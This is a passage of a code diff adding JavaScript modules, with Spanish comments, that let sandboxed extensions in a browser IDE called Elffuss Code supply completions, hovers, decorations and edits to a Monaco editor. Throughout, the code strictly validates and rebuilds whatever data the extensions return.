44+ // nunca el mismo origen que Code, ni el mismo sitio (compartiría cookies y proceso)
45+ if (u.origin === loc.origin || sameSite(u.origin, loc.origin)) return null;
46+ return u.origin;
47+}
added web/js/ext2/convert.js +171 −0
@@ -0,0 +1,171 @@
1+// Del recinto a Monaco 0.52: cada resultado se reconstruye en objetos NUEVOS
2+// hechos solo de campos primitivos validados. Nada se pasa tal cual: un campo
3+// que no se conoce no llega, y uno que no cuadra se descarta. El texto pasa
4+// por sanitize.js (texto plano o markdown canónico).
5+import { isRange } from './protocol.js';
6+import { plainText, canonicalMarkdown, markdownFromText, stripClipboard } from './sanitize.js';
7+
8+export const HANDLE_COMMAND = 'elffuss.x2.runHandle';
9+const MAXS = { label: 4096, text: 65536, insert: 100000 };
10+const s = (v, max = MAXS.label) => (typeof v === 'string' ? v.slice(0, max) : undefined);
11+const int = (v, lo, hi) => (Number.isSafeInteger(v) && v >= lo && v <= hi ? v : undefined);
12+
13+export function range(monaco, model, r) {
14+ if (!isRange(r)) return null;
15+ const v = model.validateRange(new monaco.Range(r[0], r[1], r[2], r[3]));
16+ return { startLineNumber: v.startLineNumber, startColumn: v.startColumn, endLineNumber: v.endLineNumber, endColumn: v.endColumn };
17+}
18+
19+export function textEdits(monaco, model, list, max = 100000) {
20+ if (!Array.isArray(list)) return [];
21+ const out = [];
22+ for (const e of list.slice(0, max)) {
23+ if (!e || typeof e.text !== 'string') continue;
24+ const r = range(monaco, model, e.range);
25+ if (r) out.push({ range: r, text: e.text.slice(0, 10 << 20) });
26+ }
27+ return out;
28+}
29+
30+const mdOf = c => (c && typeof c.md === 'string' ? canonicalMarkdown(c.md) : c && typeof c.text === 'string' ? markdownFromText(c.text) : null);
31+const textOf = c => (c && typeof c.md === 'string' ? plainText(c.md) : c && typeof c.text === 'string' ? c.text.slice(0, MAXS.text) : undefined);
32+
33+export function hover(monaco, model, v) {
34+ if (!v || !Array.isArray(v.contents)) return null;
35+ const contents = v.contents.slice(0, 50).map(mdOf).filter(Boolean);
36+ if (!contents.length) return null;
37+ const out = { contents };
38+ const r = v.range && range(monaco, model, v.range);
39+ if (r) out.range = r;
40+ return out;
41+}
42+
43+const itemHandles = new WeakMap();
44+export const handleOfItem = item => itemHandles.get(item);
45+
46+const command = c => (c && Number.isSafeInteger(c.handle) ? { id: HANDLE_COMMAND, title: s(c.title, 500) || '', arguments: [c.handle] } : undefined);
47+
48+export function completionItem(monaco, model, position, it) {
49+ if (!it || typeof it !== 'object') return null;
50+ let label;
51+ if (typeof it.label === 'string') label = it.label.slice(0, MAXS.label);
52+ else if (it.label && typeof it.label.label === 'string') label = { label: it.label.label.slice(0, MAXS.label), detail: s(it.label.detail, 1000), description: s(it.label.description, 1000) };
53+ else return null;
54+ const rules = (int(it.insertTextRules, 0, 7) ?? 0) & (1 | 4); // KeepWhitespace | InsertAsSnippet
55+ let insertText = typeof it.insertText === 'string' ? it.insertText.slice(0, MAXS.insert) : (typeof label === 'string' ? label : label.label);
56+ if (rules & 4) insertText = stripClipboard(insertText);
57+ let r;
58+ if (Array.isArray(it.range)) r = range(monaco, model, it.range);
59+ else if (it.range && Array.isArray(it.range.insert) && Array.isArray(it.range.replace)) {
60+ const a = range(monaco, model, it.range.insert), b = range(monaco, model, it.range.replace);
61+ if (a && b) r = { insert: a, replace: b };
62+ }
63+ if (!r) {
64+ const w = model.getWordUntilPosition(position);
65+ r = { startLineNumber: position.lineNumber, startColumn: w.startColumn, endLineNumber: position.lineNumber, endColumn: position.column };
66+ }
67+ const out = {
68+ label, kind: int(it.kind, 0, 27) ?? 18, insertText, insertTextRules: rules, range: r,
69+ detail: it.detail != null ? plainText(s(it.detail, MAXS.label)) : undefined,
70+ documentation: textOf(it.documentation),
71+ sortText: s(it.sortText, 1000), filterText: s(it.filterText, 1000), preselect: it.preselect === true,
72+ tags: Array.isArray(it.tags) && it.tags.includes(1) ? [1] : undefined,
73+ commitCharacters: Array.isArray(it.commitCharacters) ? it.commitCharacters.filter(c => typeof c === 'string' && c.length === 1).slice(0, 20) : undefined,
74+ additionalTextEdits: Array.isArray(it.additionalTextEdits) ? textEdits(monaco, model, it.additionalTextEdits, 1000) : undefined,
75+ command: command(it.command),
76+ };
77+ if (Number.isSafeInteger(it.h)) itemHandles.set(out, it.h);
78+ return out;
79+}
80+
81+export function signatureHelp(v) {
82+ if (!v || !Array.isArray(v.signatures)) return null;
83+ const signatures = v.signatures.slice(0, 100).map(sig => ({
84+ label: s(sig && sig.label) || '',
85+ documentation: textOf(sig && sig.documentation),
86+ activeParameter: int(sig && sig.activeParameter, 0, 1000),
87+ parameters: Array.isArray(sig && sig.parameters) ? sig.parameters.slice(0, 100).map(p => ({
88+ label: Array.isArray(p && p.label) && p.label.length === 2 && p.label.every(n => int(n, 0, 1e6) !== undefined) ? [p.label[0], p.label[1]] : s(p && p.label, 1000) || '',
89+ documentation: textOf(p && p.documentation),
90+ })) : [],
91+ }));
92+ if (!signatures.length) return null;
93+ return { signatures, activeSignature: int(v.activeSignature, 0, 1000) ?? 0, activeParameter: int(v.activeParameter, 0, 1000) ?? 0 };
94+}
95+
96+export function symbols(monaco, model, list, depth = 0) {
97+ if (!Array.isArray(list) || depth > 20) return [];
98+ const out = [];
99+ for (const x of list.slice(0, 10000)) {
100+ if (!x || typeof x.name !== 'string') continue;
101+ const r = range(monaco, model, x.range), sel = range(monaco, model, x.selectionRange) || r;
102+ if (!r) continue;
103+ out.push({
104+ name: x.name.slice(0, 1000) || '?', detail: s(x.detail, 1000) || '', kind: int(x.kind, 0, 25) ?? 0,
105+ tags: Array.isArray(x.tags) && x.tags.includes(1) ? [1] : [], range: r, selectionRange: sel,
106+ children: symbols(monaco, model, x.children, depth + 1),
107+ });
108+ }
109+ return out;
110+}
111+
112+// Resultados que apuntan a documentos: solo los que Code tiene abiertos.
113+export function locations(monaco, list, modelForUri) {
114+ if (!Array.isArray(list)) return [];
115+ const out = [];
116+ for (const l of list.slice(0, 10000)) {
117+ const target = l && typeof l.uri === 'string' ? modelForUri(l.uri) : null;
118+ if (!target) continue;
119+ const r = range(monaco, target, l.range);
120+ if (!r) continue;
121+ out.push({ uri: target.uri, range: r });
122+ }
123+ return out;
124+}
125+
126+export function highlights(monaco, model, list) {
127+ if (!Array.isArray(list)) return [];
128+ return list.slice(0, 10000).map(h => { const r = h && range(monaco, model, h.range); return r ? { range: r, kind: int(h.kind, 0, 2) ?? 0 } : null; }).filter(Boolean);
129+}
130+
131+// Ediciones de espacio de trabajo: en v1, solo sobre el documento activo.
132+export function workspaceEdit(monaco, model, uriOfModel, v) {
133+ if (!v || !Array.isArray(v.edits)) return { edit: null, reason: 'no changes' };
134+ const mine = uriOfModel(model);
135+ const foreign = v.edits.some(e => !e || e.uri !== mine) || (Number.isSafeInteger(v.fileOps) && v.fileOps > 0);
136+ if (foreign) return { edit: null, reason: 'it changes other files, which Elffuss Code does not allow extensions to do yet' };
137+ const edits = textEdits(monaco, model, v.edits).map(te => ({ resource: model.uri, textEdit: te, versionId: undefined }));
138+ return { edit: { edits }, reason: s(v.rejectReason, 1000) };
139+}
140+
141+export function codeAction(monaco, model, uriOfModel, a) {
142+ if (!a || typeof a.title !== 'string') return null;
143+ const out = { title: a.title.slice(0, 1000), kind: s(a.kind, 200), isPreferred: a.isPreferred === true };
144+ const disabled = s(a.disabled, 1000);
145+ if (a.edit) {
146+ const w = workspaceEdit(monaco, model, uriOfModel, a.edit);
147+ if (w.edit) out.edit = w.edit;
148+ else out.disabled = w.reason;
149+ }
150+ if (disabled) out.disabled = disabled;
151+ const c = command(a.command);
152+ if (c) out.command = c;
153+ if (Number.isSafeInteger(a.h)) itemHandles.set(out, a.h);
154+ return out;
155+}
156+
157+const SEVERITY = new Set([1, 2, 4, 8]);
158+export function markers(monaco, model, list) {
159+ if (!Array.isArray(list)) return [];
160+ const out = [];
161+ for (const mk of list.slice(0, 5000)) {
162+ const r = mk && range(monaco, model, mk.range);
163+ if (!r || typeof mk.message !== 'string') continue;
164+ out.push({
165+ severity: SEVERITY.has(mk.severity) ? mk.severity : 8, message: plainText(mk.message.slice(0, MAXS.text)) || ' ',
166+ source: s(mk.source, 200), code: s(mk.code, 200), ...r,
167+ tags: Array.isArray(mk.tags) ? mk.tags.filter(t => t === 1 || t === 2) : undefined,
168+ });
169+ }
170+ return out;
171+}
added web/js/ext2/decorations.js +238 −0
@@ -0,0 +1,238 @@
1+// Decoraciones de las extensiones (setDecorations) pintadas en el editor de
2+// Code. Las opciones de cada tipo NUNCA pasan tal cual: se reconstruyen con
3+// una lista blanca de valores (colores, longitudes, listas cerradas) y se
4+// convierten en reglas CSS nuestras, `.monaco-editor .x2d-N`, dentro de
5+// <style id="x2-deco">. Fuera: fontFamily, cualquier url(), CSS libre, y el
6+// atajo `border` que no se deje partir en sus tres piezas. El texto antes y
7+// después (contentText) va como texto inyectado de Monaco, no como CSS, y los
8+// mensajes al pasar el ratón como markdown canónico (sanitize.js). Los
9+// iconos de margen no se pintan en esta versión.
10+//
11+// Las decoraciones son del documento activo: al cambiar de pestaña se
12+// borran, y la extensión las vuelve a poner (como en VS Code, al cambiar el
13+// editor activo).
14+import { canonicalMarkdown, markdownFromText } from './sanitize.js';
15+
16+const NAMED = new Set(('aliceblue antiquewhite aqua aquamarine azure beige bisque black blanchedalmond blue blueviolet brown burlywood cadetblue chartreuse '
17+ + 'chocolate coral cornflowerblue cornsilk crimson cyan darkblue darkcyan darkgoldenrod darkgray darkgreen darkgrey darkkhaki darkmagenta darkolivegreen '
18+ + 'darkorange darkorchid darkred darksalmon darkseagreen darkslateblue darkslategray darkslategrey darkturquoise darkviolet deeppink deepskyblue dimgray '
19+ + 'dimgrey dodgerblue firebrick floralwhite forestgreen fuchsia gainsboro ghostwhite gold goldenrod gray green greenyellow grey honeydew hotpink indianred '
20+ + 'indigo ivory khaki lavender lavenderblush lawngreen lemonchiffon lightblue lightcoral lightcyan lightgoldenrodyellow lightgray lightgreen lightgrey '
21+ + 'lightpink lightsalmon lightseagreen lightskyblue lightslategray lightslategrey lightsteelblue lightyellow lime limegreen linen magenta maroon '
22+ + 'mediumaquamarine mediumblue mediumorchid mediumpurple mediumseagreen mediumslateblue mediumspringgreen mediumturquoise mediumvioletred midnightblue '
23+ + 'mintcream mistyrose moccasin navajowhite navy oldlace olive olivedrab orange orangered orchid palegoldenrod palegreen paleturquoise palevioletred '
24+ + 'papayawhip peachpuff peru pink plum powderblue purple rebeccapurple red rosybrown royalblue saddlebrown salmon sandybrown seagreen seashell sienna '
25+ + 'silver skyblue slateblue slategray slategrey snow springgreen steelblue tan teal thistle tomato turquoise violet wheat white whitesmoke yellow '
26+ + 'yellowgreen transparent currentcolor').split(' '));
27+const LENGTH = /^-?\d{1,4}(\.\d{1,3})?(px|em|ch|%)?$/;
28+const LISTS = {
29+ borderStyle: new Set(['none', 'hidden', 'dotted', 'dashed', 'solid', 'double', 'groove', 'ridge', 'inset', 'outset']),
30+ fontStyle: new Set(['normal', 'italic', 'oblique']),
31+ fontWeight: new Set(['normal', 'bold', 'bolder', 'lighter', '100', '200', '300', '400', '500', '600', '700', '800', '900']),
32+ cursor: new Set(['default', 'pointer', 'text', 'crosshair', 'help', 'move', 'not-allowed', 'wait', 'progress', 'zoom-in', 'zoom-out', 'grab', 'grabbing',
33+ 'col-resize', 'row-resize', 'ew-resize', 'ns-resize', 'context-menu', 'cell', 'copy', 'alias', 'none']),
34+};
35+const DECO_LINE = new Set(['none', 'underline', 'overline', 'line-through']);
36+const DECO_STYLE = new Set(['solid', 'double', 'dotted', 'dashed', 'wavy']);
37+const BORDER_WIDTH = new Set(['thin', 'medium', 'thick']);
38+// rgb()/hsl() solo con números: con comas o con espacios (y «/ alfa»)
39+const N = '-?\\d{1,3}(?:\\.\\d{1,3})?(?:%|deg)?';
40+const FN_COMMAS = new RegExp(`^(?:rgb|hsl)a?\\(\\s*${N}\\s*,\\s*${N}\\s*,\\s*${N}\\s*(?:,\\s*${N}\\s*)?\\)$`);
41+const FN_SPACES = new RegExp(`^(?:rgb|hsl)a?\\(\\s*${N}\\s+${N}\\s+${N}\\s*(?:\\/\\s*${N}\\s*)?\\)$`);
42+
43+export function color(v) {
44+ if (v && typeof v === 'object' && typeof v.themeColor === 'string') return /^[A-Za-z0-9.]{1,100}$/.test(v.themeColor) ? `var(--vscode-${v.themeColor.replace(/\./g, '-')})` : null;
45+ if (typeof v !== 'string') return null;
46+ const s = v.trim().toLowerCase();
47+ if (/^#([0-9a-f]{3}|[0-9a-f]{4}|[0-9a-f]{6}|[0-9a-f]{8})$/.test(s)) return s;
48+ if (NAMED.has(s)) return s;
49+ if (FN_COMMAS.test(s) || FN_SPACES.test(s)) return s;
50+ return null;
51+}
52+export const length = v => (typeof v === 'number' && Number.isFinite(v) ? (LENGTH.test(String(v)) ? v + 'px' : null) : typeof v === 'string' && LENGTH.test(v.trim()) ? v.trim() : null);
53+const lengths = (v, max = 4) => {
54+ if (typeof v !== 'string' && typeof v !== 'number') return null;
55+ const parts = String(v).trim().split(/\s+/);
56+ if (!parts.length || parts.length > max) return null;
57+ const ok = parts.map(p => length(p));
58+ return ok.every(Boolean) ? ok.join(' ') : null;
59+};
60+const listed = (k, v) => (typeof v === 'string' && LISTS[k].has(v.trim().toLowerCase()) ? v.trim().toLowerCase() : typeof v === 'number' && k === 'fontWeight' && LISTS.fontWeight.has(String(v)) ? String(v) : null);
61+const opacity = v => { const s = String(v ?? '').trim(); return /^(0(\.\d{1,3})?|1(\.0{1,3})?|\.\d{1,3})$/.test(s) ? s : null; };
62+export function textDecoration(v) {
63+ if (typeof v !== 'string') return null;
64+ const toks = v.trim().toLowerCase().split(/\s+/);
65+ if (!toks.length || toks.length > 4) return null;
66+ const out = [];
67+ for (const t of toks) {
68+ if (DECO_LINE.has(t) || DECO_STYLE.has(t)) out.push(t);
69+ else if (color(t)) out.push(color(t));
70+ else if (length(t)) out.push(length(t));
71+ else return null;
72+ }
73+ return out.join(' ');
74+}
75+// `border` / `outline`: solo si se parte en anchura, estilo y color válidos
76+export function borderShorthand(v) {
77+ if (typeof v !== 'string') return null;
78+ const toks = v.trim().toLowerCase().split(/\s+/);
79+ if (!toks.length || toks.length > 3) return null;
80+ const out = [];
81+ for (const t of toks) {
82+ if (LISTS.borderStyle.has(t) || BORDER_WIDTH.has(t)) out.push(t);
83+ else if (length(t)) out.push(length(t));
84+ else if (color(t)) out.push(color(t));
85+ else return null;
86+ }
87+ return out.join(' ');
88+}
89+
90+// opciones de un tipo (o de una variante clara/oscura) → declaraciones CSS
91+const CSS = {
92+ block: [
93+ ['backgroundColor', 'background-color', color], ['outline', 'outline', borderShorthand], ['outlineColor', 'outline-color', color],
94+ ['outlineStyle', 'outline-style', v => listed('borderStyle', v)], ['outlineWidth', 'outline-width', length], ['border', 'border', borderShorthand],
95+ ['borderColor', 'border-color', color], ['borderRadius', 'border-radius', v => lengths(v)], ['borderSpacing', 'border-spacing', v => lengths(v, 2)],
96+ ['borderStyle', 'border-style', v => listed('borderStyle', v)], ['borderWidth', 'border-width', v => lengths(v)],
97+ ],
98+ inline: [
99+ ['color', 'color', color], ['fontStyle', 'font-style', v => listed('fontStyle', v)], ['fontWeight', 'font-weight', v => listed('fontWeight', v)],
100+ ['textDecoration', 'text-decoration', textDecoration], ['cursor', 'cursor', v => listed('cursor', v)], ['opacity', 'opacity', opacity],
101+ ['letterSpacing', 'letter-spacing', length],
102+ ],
103+ content: [
104+ ['color', 'color', color], ['backgroundColor', 'background-color', color], ['border', 'border', borderShorthand], ['borderColor', 'border-color', color],
105+ ['fontStyle', 'font-style', v => listed('fontStyle', v)], ['fontWeight', 'font-weight', v => listed('fontWeight', v)],
106+ ['textDecoration', 'text-decoration', textDecoration], ['margin', 'margin', v => lengths(v)], ['width', 'width', length], ['height', 'height', length],
107+ ['opacity', 'opacity', opacity],
108+ ],
109+};
110+export function declarations(o, group) {
111+ if (!o || typeof o !== 'object') return '';
112+ const out = [];
113+ for (const [k, prop, fn] of CSS[group]) {
114+ if (o[k] === undefined || o[k] === null) continue;
115+ const v = fn(o[k]);
116+ if (v) out.push(`${prop}: ${v};`);
117+ }
118+ return out.join(' ');
119+}
120+const contentText = c => (c && typeof c.contentText === 'string' ? c.contentText.replace(/[\r\n]+/g, ' ').slice(0, 200) : null);
121+const LANES = new Set([1, 2, 4, 7]);
122+const STICK = new Set([0, 1, 2, 3]);
123+
124+export class Decorations {
125+ constructor({ monaco, editor, docs }) {
126+ this.monaco = monaco;
127+ this.editor = editor;
128+ this.docs = docs;
129+ this.types = new Map(); // key → { cls, ...options normalizadas }
130+ this.collections = new Map(); // key → colección del documento activo
131+ this.css = new Map(); // texto CSS → nombre de clase (para no repetir reglas)
132+ this.n = 0;
133+ this.style = null;
134+ this.rules = [];
135+ this.sub = editor.onDidChangeModel(() => this.clear());
136+ }
137+
138+ sheet() {
139+ if (!this.style || !this.style.isConnected) {
140+ this.style = document.createElement('style');
141+ this.style.id = 'x2-deco';
142+ document.head.appendChild(this.style);
143+ }
144+ return this.style;
145+ }
146+ // una clase para estas declaraciones (con sus variantes clara y oscura)
147+ classFor(base, light, dark) {
148+ if (!base && !light && !dark) return null;
149+ const sig = base + '|' + light + '|' + dark;
150+ if (this.css.has(sig)) return this.css.get(sig);
151+ const cls = 'x2d-' + (++this.n);
152+ if (base) this.rules.push(`.monaco-editor .${cls} { ${base} }`);
153+ if (light) this.rules.push(`.monaco-editor.vs .${cls}, .monaco-editor.hc-light .${cls} { ${light} }`);
154+ if (dark) this.rules.push(`.monaco-editor.vs-dark .${cls}, .monaco-editor.hc-black .${cls} { ${dark} }`);
155+ this.sheet().textContent = this.rules.join('\n');
156+ this.css.set(sig, cls);
157+ return cls;
158+ }
159+ contentClass(c, light, dark) {
160+ return this.classFor(declarations(c, 'content'), declarations(light, 'content'), declarations(dark, 'content'));
161+ }
162+
163+ type(key, o) {
164+ if (typeof key !== 'string' || !o || typeof o !== 'object') return;
165+ const light = o.light && typeof o.light === 'object' ? o.light : null;
166+ const dark = o.dark && typeof o.dark === 'object' ? o.dark : null;
167+ const t = {
168+ className: this.classFor(declarations(o, 'block'), declarations(light, 'block'), declarations(dark, 'block')),
169+ inlineClassName: this.classFor(declarations(o, 'inline'), declarations(light, 'inline'), declarations(dark, 'inline')),
170+ isWholeLine: o.isWholeLine === true,
171+ stickiness: STICK.has(o.rangeBehavior) ? o.rangeBehavior : undefined,
172+ ruler: null,
173+ before: null, after: null,
174+ };
175+ const rulerColor = o.overviewRulerColor && typeof o.overviewRulerColor === 'object' && typeof o.overviewRulerColor.themeColor === 'string'
176+ ? (/^[A-Za-z0-9.]{1,100}$/.test(o.overviewRulerColor.themeColor) ? { id: o.overviewRulerColor.themeColor } : null)
177+ : color(o.overviewRulerColor);
178+ if (rulerColor) t.ruler = { color: rulerColor, position: LANES.has(o.overviewRulerLane) ? o.overviewRulerLane : 4 };
179+ for (const side of ['before', 'after']) {
180+ const c = o[side] && typeof o[side] === 'object' ? o[side] : null;
181+ if (!c) continue;
182+ t[side] = { text: contentText(c), cls: this.contentClass(c, light?.[side], dark?.[side]) };
183+ }
184+ this.types.set(key, t);
185+ }
186+
187+ // rangos de una decoración en el documento `uri` (solo si es el activo)
188+ set(key, uri, ranges) {
189+ const t = this.types.get(key);
190+ const model = this.docs.modelForUri(uri);
191+ if (!t || !model || this.editor.getModel() !== model) return;
192+ const out = [];
193+ for (const r of ranges.slice(0, 10000)) {
194+ if (!r || !Array.isArray(r.range)) continue;
195+ const v = model.validateRange(new this.monaco.Range(r.range[0], r.range[1], r.range[2], r.range[3]));
196+ const ro = r.ro && typeof r.ro === 'object' ? r.ro : null;
197+ const opts = { description: 'x2-extension-decoration' };
198+ if (t.className) opts.className = t.className;
199+ if (t.inlineClassName) opts.inlineClassName = t.inlineClassName;
200+ if (t.isWholeLine) opts.isWholeLine = true;
201+ if (t.stickiness !== undefined) opts.stickiness = t.stickiness;
202+ if (t.ruler) opts.overviewRuler = t.ruler;
203+ for (const side of ['before', 'after']) {
204+ // el texto por rango (renderOptions) manda sobre el del tipo
205+ const per = ro && ro[side] && typeof ro[side] === 'object' ? ro[side] : null;
206+ const text = contentText(per) ?? t[side]?.text;
207+ if (!text) continue;
208+ const cls = per ? this.contentClass(per, ro.light?.[side], ro.dark?.[side]) || t[side]?.cls : t[side]?.cls;
209+ opts[side] = { content: text, ...(cls ? { inlineClassName: cls } : {}) };
210+ }
211+ const hover = Array.isArray(r.hover) ? r.hover : r.hover ? [r.hover] : [];
212+ const msgs = hover.slice(0, 10).map(h => (h && typeof h.md === 'string' ? canonicalMarkdown(h.md) : h && typeof h.text === 'string' ? markdownFromText(h.text) : null)).filter(Boolean);
213+ if (msgs.length) opts.hoverMessage = msgs;
214+ out.push({ range: v, options: opts });
215+ }
216+ let c = this.collections.get(key);
217+ if (!c) { c = this.editor.createDecorationsCollection(); this.collections.set(key, c); }
218+ c.set(out);
219+ }
220+
221+ remove(key) {
222+ this.collections.get(key)?.clear();
223+ this.collections.delete(key);
224+ this.types.delete(key);
225+ }
226+
227+ clear() { for (const c of this.collections.values()) c.clear(); }
228+
229+ dispose() {
230+ this.sub?.dispose();
231+ this.clear();
232+ this.collections.clear();
233+ this.types.clear();
234+ this.style?.remove();
235+ this.rules = [];
236+ this.css.clear();
237+ }
238+}
added web/js/ext2/docs.js +168 −0
@@ -0,0 +1,168 @@
1+// Documentos abiertos en Code ↔ sus copias en el recinto («EditorPort»).
2+//
3+// El editor de la página es el de siempre (Monaco 0.52 de ide.js); este
4+// módulo solo ESCUCHA sus modelos y manda al recinto lo justo para que las
5+// extensiones trabajen: los documentos abiertos como file:///<ruta del
6+// proyecto> (sin nombre de proyecto ni ruta absoluta), la selección activa y
7+// cada cambio con su versión. La página manda siempre:
8+//
9+// · cambio en la página → doc.change {base, v, changes}; si el recinto no
10+// tiene esa base, pide doc.need y se le manda doc.reset (texto entero).
11+// · cambio de una extensión → doc.edit {base, steps}: se aplica SOLO si es el
12+// documento activo y su versión sigue siendo base, como un único paso de
13+// deshacer; se contesta doc.ack. Si no, se descarta (doc.reset + aviso).
14+// · lo que escribe el agente (setValue) → doc.reset.
15+//
16+// Ningún fichero se guarda desde aquí: guardar sigue siendo Cmd+S → code.write.
17+import * as code from '../tools/code.js';
18+import { range as validRange } from './convert.js';
19+
20+const MAX_DOC = 5 * 1024 * 1024;
21+
22+export class EditorPort {
23+ // openTabs(): [[ruta, modelo]] de las pestañas de ide.js (las que ya
24+ // estaban abiertas al arrancar el recinto también se ven, como en VS Code)
25+ constructor({ monaco, editor, post, notify = () => {}, maxBytes = MAX_DOC, openTabs = () => [] }) {
26+ this.monaco = monaco;
27+ this.editor = editor;
28+ this.post = post;
29+ this.notify = notify;
30+ this.maxBytes = maxBytes;
31+ this.openTabs = openTabs;
32+ this.byModel = new Map(); // model → { uri, path, v, subs }
33+ this.byUri = new Map(); // uri → model
34+ this.applying = null;
35+ this.subs = [];
36+ this.selTimer = null;
37+ this.tooBig = new Set();
38+ }
39+
40+ start() {
41+ const ed = this.editor;
42+ this.subs.push(ed.onDidChangeModel(() => { this.track(ed.getModel()); this.sendActive(); }));
43+ this.subs.push(ed.onDidChangeCursorSelection(() => {
44+ clearTimeout(this.selTimer);
45+ this.selTimer = setTimeout(() => this.sendActive(), 80);
46+ }));
47+ // Todas las pestañas abiertas, no solo la activa: una extensión que
48+ // arranca con el lenguaje de un documento (onLanguage) lo ve aunque se
49+ // abriera antes que el recinto, y sin que el usuario vuelva a esa pestaña.
50+ let tabs = [];
51+ try { tabs = this.openTabs() || []; } catch { tabs = []; }
52+ for (const [path, model] of tabs) if (model !== ed.getModel()) this.track(model, path);
53+ this.track(ed.getModel());
54+ this.sendActive();
55+ }
56+
57+ uriFor(path) { return this.monaco.Uri.file('/' + path.replace(/^\/+/, '')).toString(); }
58+ uriOf(model) { return this.byModel.get(model)?.uri || null; }
59+ pathOf(model) { return this.byModel.get(model)?.path || null; }
60+ modelForUri(uri) { const m = this.byUri.get(uri); return m && !m.isDisposed() ? m : null; }
61+ isMirrored(model) { return this.byModel.has(model); }
62+
63+ // El modelo que acaba de entrar en el editor: su ruta es el fichero actual
64+ // de Code (ide.js la fija justo antes de setModel), o la de su pestaña al
65+ // arrancar. Sin ruta (el estado vacío, el chat) no se manda nada.
66+ track(model, path = code.current().currentFile) {
67+ if (!model || model.isDisposed() || this.byModel.has(model)) return;
68+ if (typeof path !== 'string' || !path) return;
69+ const uri = this.uriFor(path);
70+ if (this.byUri.has(uri) && this.byUri.get(uri) !== model) this.untrack(this.byUri.get(uri));
71+ const text = model.getValue();
72+ if (text.length > this.maxBytes) {
73+ if (!this.tooBig.has(uri)) { this.tooBig.add(uri); this.notify('big', path); }
74+ return;
75+ }
76+ const st = { uri, path, v: model.getVersionId(), subs: [] };
77+ this.byModel.set(model, st);
78+ this.byUri.set(uri, model);
79+ this.post({ t: 'doc.open', uri, lang: model.getLanguageId(), text, v: st.v });
80+ st.subs.push(model.onDidChangeContent(e => this.changed(model, st, e)));
81+ st.subs.push(model.onDidChangeLanguage(() => this.post({ t: 'doc.lang', uri, lang: model.getLanguageId() })));
82+ st.subs.push(model.onWillDispose(() => this.untrack(model)));
83+ }
84+
85+ untrack(model) {
86+ const st = this.byModel.get(model);
87+ if (!st) return;
88+ for (const d of st.subs) { try { d.dispose(); } catch { /* — */ } }
89+ this.byModel.delete(model);
90+ if (this.byUri.get(st.uri) === model) this.byUri.delete(st.uri);
91+ this.post({ t: 'doc.close', uri: st.uri });
92+ }
93+
94+ changed(model, st, e) {
95+ const base = st.v;
96+ st.v = model.getVersionId();
97+ if (this.applying === model) return; // eco de un doc.edit: se contesta con doc.ack
98+ if (e.isFlush || e.isEolChange || model.getValueLength() > this.maxBytes) { this.reset(model); return; }
99+ this.post({ t: 'doc.change', uri: st.uri, base, v: st.v, changes: e.changes.map(c => ({ o: c.rangeOffset, l: c.rangeLength, t: c.text })) });
100+ }
101+
102+ reset(model) {
103+ const st = this.byModel.get(model);
104+ if (!st) return;
105+ st.v = model.getVersionId();
106+ this.post({ t: 'doc.reset', uri: st.uri, text: model.getValue(), v: st.v });
107+ }
108+
109+ need(uri) { const m = this.modelForUri(uri); if (m) this.reset(m); }
110+
111+ selections() {
112+ return (this.editor.getSelections() || []).slice(0, 100).map(s => [s.selectionStartLineNumber, s.selectionStartColumn, s.positionLineNumber, s.positionColumn]);
113+ }
114+
115+ sendActive() {
116+ const model = this.editor.getModel();
117+ const st = model && this.byModel.get(model);
118+ this.post({ t: 'editor.active', uri: st ? st.uri : null, selections: st ? this.selections() : [], v: st ? st.v : 0 });
119+ }
120+
121+ // lo que hace falta para ejecutar un comando sobre el documento activo
122+ activeState() {
123+ const model = this.editor.getModel();
124+ const st = model && this.byModel.get(model);
125+ return st ? { uri: st.uri, selections: this.selections(), v: st.v } : {};
126+ }
127+
128+ // Cambio que hizo una extensión en el recinto.
129+ applyEdit({ uri, base, steps }, { onTouched = () => {} } = {}) {
130+ const model = this.modelForUri(uri);
131+ if (!model) return;
132+ const active = this.editor.getModel() === model;
133+ if (!active || model.getVersionId() !== base) {
134+ this.reset(model);
135+ this.notify('discarded', this.pathOf(model));
136+ return;
137+ }
138+ const prepared = [];
139+ for (const step of steps) {
140+ const edits = [];
141+ for (const c of step) {
142+ const r = validRange(this.monaco, model, c.range);
143+ if (!r || typeof c.text !== 'string') { this.reset(model); return; }
144+ edits.push({ range: r, text: c.text, forceMoveMarkers: true });
145+ }
146+ prepared.push(edits);
147+ }
148+ const st = this.byModel.get(model);
149+ this.applying = model;
150+ try {
151+ this.editor.pushUndoStop();
152+ for (const edits of prepared) this.editor.executeEdits('x2', edits);
153+ this.editor.pushUndoStop();
154+ } finally { this.applying = null; }
155+ st.v = model.getVersionId();
156+ this.post({ t: 'doc.ack', uri, v: st.v });
157+ onTouched(model);
158+ }
159+
160+ dispose() {
161+ clearTimeout(this.selTimer);
162+ for (const d of this.subs) { try { d.dispose(); } catch { /* — */ } }
163+ this.subs = [];
164+ for (const [model, st] of this.byModel) for (const d of st.subs) { try { d.dispose(); } catch { /* — */ } }
165+ this.byModel.clear();
166+ this.byUri.clear();
167+ }
168+}
added web/js/ext2/features.js +310 −0
@@ -0,0 +1,310 @@
1+// Proveedores de las extensiones, vistos desde la página: por cada
2+// «providers.add» del recinto se registra en el Monaco 0.52 de Code un
3+// proveedor equivalente que pregunta al recinto (invoke) y reconstruye la
4+// respuesta con convert.js. Los modelos de Code son inmemory://, así que el
5+// selector de la extensión se traduce: esquemas file/untitled/* valen (se
6+// quitan), cualquier otro no se registra, y los patrones se comprueban aquí
7+// contra file:///<ruta del proyecto> con un comparador de tiempo lineal.
8+import * as convert from './convert.js';
9+
10+// ── glob en tiempo lineal (sin expresiones regulares que puedan atascarse) ──
11+const MAX_BRACES = 64;
12+function expandBraces(p) {
13+ const out = [];
14+ const stack = [p];
15+ while (stack.length && out.length < MAX_BRACES) {
16+ const x = stack.pop();
17+ const i = x.indexOf('{');
18+ if (i < 0) { out.push(x); continue; }
19+ let depth = 0, j = i;
20+ for (; j < x.length; j++) { if (x[j] === '{') depth++; else if (x[j] === '}' && --depth === 0) break; }
21+ if (j >= x.length) { out.push(x); continue; }
22+ const inner = x.slice(i + 1, j), alts = [];
23+ let d = 0, last = 0;
24+ for (let k = 0; k < inner.length; k++) {
25+ if (inner[k] === '{') d++; else if (inner[k] === '}') d--;
26+ else if (inner[k] === ',' && d === 0) { alts.push(inner.slice(last, k)); last = k + 1; }
27+ }
28+ alts.push(inner.slice(last));
29+ for (const a of alts.reverse()) stack.push(x.slice(0, i) + a + x.slice(j + 1));
30+ }
